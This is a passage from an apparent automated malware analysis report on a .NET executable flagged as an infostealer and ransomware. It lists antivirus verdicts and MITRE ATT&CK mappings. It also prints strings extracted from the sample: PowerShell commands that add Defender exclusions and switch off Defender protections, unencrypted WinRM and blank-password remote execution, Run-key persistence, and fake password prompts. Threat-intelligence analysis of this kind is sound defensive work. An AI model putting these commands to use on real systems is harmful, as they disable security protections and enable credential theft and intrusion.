"software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" (Indicator: "software\microsoft\windows\currentversion\runonce"; in Source: "sample.bin"), Found string "add HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" (Indicator: "software\microsoft\windows nt\currentversion\image file execution options"; in Source: "sample.bin"), Found string "Software\Microsoft\Windows\CurrentVersion\Run" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin")3e:Tb42,file/memory contains long string with (Indicator: "password"; Source: "sample.bin"), Found string " | Stored password: " (Indicator: "password"; Source: "sample.bin"), Found string "No-password WinRM to " (Indicator: "password"; Source: "sample.bin"), Found string "Wrong password - try again" (Indicator: "password"; Source: "sample.bin"), Found string "

Enter password

" (Indicator: "password"; Source: "sample.bin"), Found string "(no email/user/password in local data)" (Indicator: "password"; Source: "sample.bin"), Found string "secret" (Indicator: "secret"; Source: "sample.bin"), Found string "(see Credential Manager for password)" (Indicator: "password"; Source: "sample.bin"), Found string " | Use TeamViewer app Partner ID + Unattended password. Do NOT paste ID into website Session Code (that expires)." (Indicator: "password"; Source: "sample.bin"), Found string "(no chat-app emails/usernames/passwords found in local stores)" (Indicator: "password"; Source: "sample.bin"), Found string "v20 App-Bound needs elevation service. v10/v11 DPAPI passwords still extracted below." (Indicator: "password"; Source: "sample.bin"), Found string " if (Try-IC 'blank-password Default' { Invoke-Command -ComputerName $hostName -Credential $c -Authentication Default -ScriptBlock $sb }) { return }" (Indicator: "password"; Source: "sample.bin"), Found string "

Enter your password

Enter password

" (Indicator: "password"; Source: "sample.bin"), Found string "

Wrong password. Try again.

" (Indicator: "password"; Source: "sample.bin")3f:T423,Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "sample.bin"), Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "sample.bin"), Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; Source: "sample.bin"), Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "sample.bin"), Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "sample.bin"), Found reference to API "Module32First" (Indicator: "Module32First"; Source: "sample.bin"), Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "sample.bin"), Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "sample.bin"), Found reference to API "Process32First" (Indicator: "Process32First"; Source: "sample.bin")40:T4c4,Found string "$re = \"Add-MpPreference -ExclusionPath '$dir';Add-MpPreference -ExclusionPath '$tmp';Add-MpPreference -ExclusionPath '$pd';Add-MpPreference -ExclusionPath '$sd';Set-MpPreference -EnableControlledFolderAccess Disabled\"" (Indicator: "Set-MpPreference"; Source: "sample.bin"), Found string "try{ Set-MpPreference -DisableIntrusionPreventionSystem $true }catch{}" (Indicator: "Set-MpPreference"; Source: "sample.bin"), Found string "try { Set-Service WinRM -StartupType Automatic -ErrorAction SilentlyContinue } catch {}" (Indicator: "Set-Service"; Source: "sample.bin"), Found string "try{ Set-MpPreference -PUAProtection 0 }catch{}" (Indicator: "Set-MpPreference"; Source: "sample.bin"), file/memory contains long string with (Indicator: "Set-MpPreference"; Source: "sample.bin"), Found string "try{ Set-MpPreference -EnableControlledFolderAccess Enabled }catch{}" (Indicator: "Set-MpPreference"; Source: "sample.bin"), Found string "try { Set-Item WSMan:\localhost\Client\AllowUnencrypted -Value $true -Force } catch {}" (Indicator: "Set-Item "; Source: "sample.bin"), Found string "try{ Set-MpPreference -DisableRemovableDriveScanning $true }catch{}" (Indicator: "Set-MpPreference"; Source: "sample.bin")41:T5a6,Found string "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "' -Action $a2 -Trigger $t2 -RunLevel Highest -Force | Out-Null }catch{}" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "New-Item -ItemType Directory -Force -Path $out | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Features' -Force | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "' -Action $a -Trigger $t1 -RunLevel Highest -Force | Out-Null }catch{}" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "if (Try-IC 'WMI no-cred' { Get-WmiObject Win32_ComputerSystem -ComputerName $hostName | Select-Object Name,UserName,Domain | Format-List | Out-String }) { return }" (Indicator: "Out-String"; Source: "sample.bin"), Found string "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access' -Force | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin"), Found string "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet' -Force | Out-Null" (Indicator: "Out-Null"; Source: "sample.bin")30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"NOT_AVAILABLE","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794124829418,"unified_at":"2026-11-08T08:00:29.418Z","metadata":{"hashes":{"sha256":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","sha1":"00aa330cc1258e29c23af09cf6c483cb5aa09195","md5":"999d131cc8d11bc9f1daf22f9279b04f"},"file_info":{"file_name":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":824320,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1794124822000,"last_seen":1794124822000,"last_multi_scan":1794124822000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":65},"sandbox_signatures":{"informative_count":110,"suspicious_count":11,"malicious_count":2,"total":123},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Banker]/MSIL.Evital","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.69","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.69 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Spy.Agent.FUY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/MSIL.Netloader.r","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Spyware ( 005690661 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_reference_analysis_tools_strings","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_RedLine.B.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Ransom.Chaos.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","identifiers":[{"type":"suspicious","value":"Able to access crypto wallet extension (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"},{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"},{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"},{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Able to remove a file/directory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify COM objects"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"suspicious","value":"Contains asymmetric cryptographic functions (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Impairment","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to copy files"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Found anti-virus related strings names"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"},{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to unregister scheduled task using PowerShell command"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Contains ability to to enumerates the credentials (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Email Account","attack_id":"T1087.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/003","identifiers":[{"type":"informative","value":"Contains Gmail url"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Network Connections 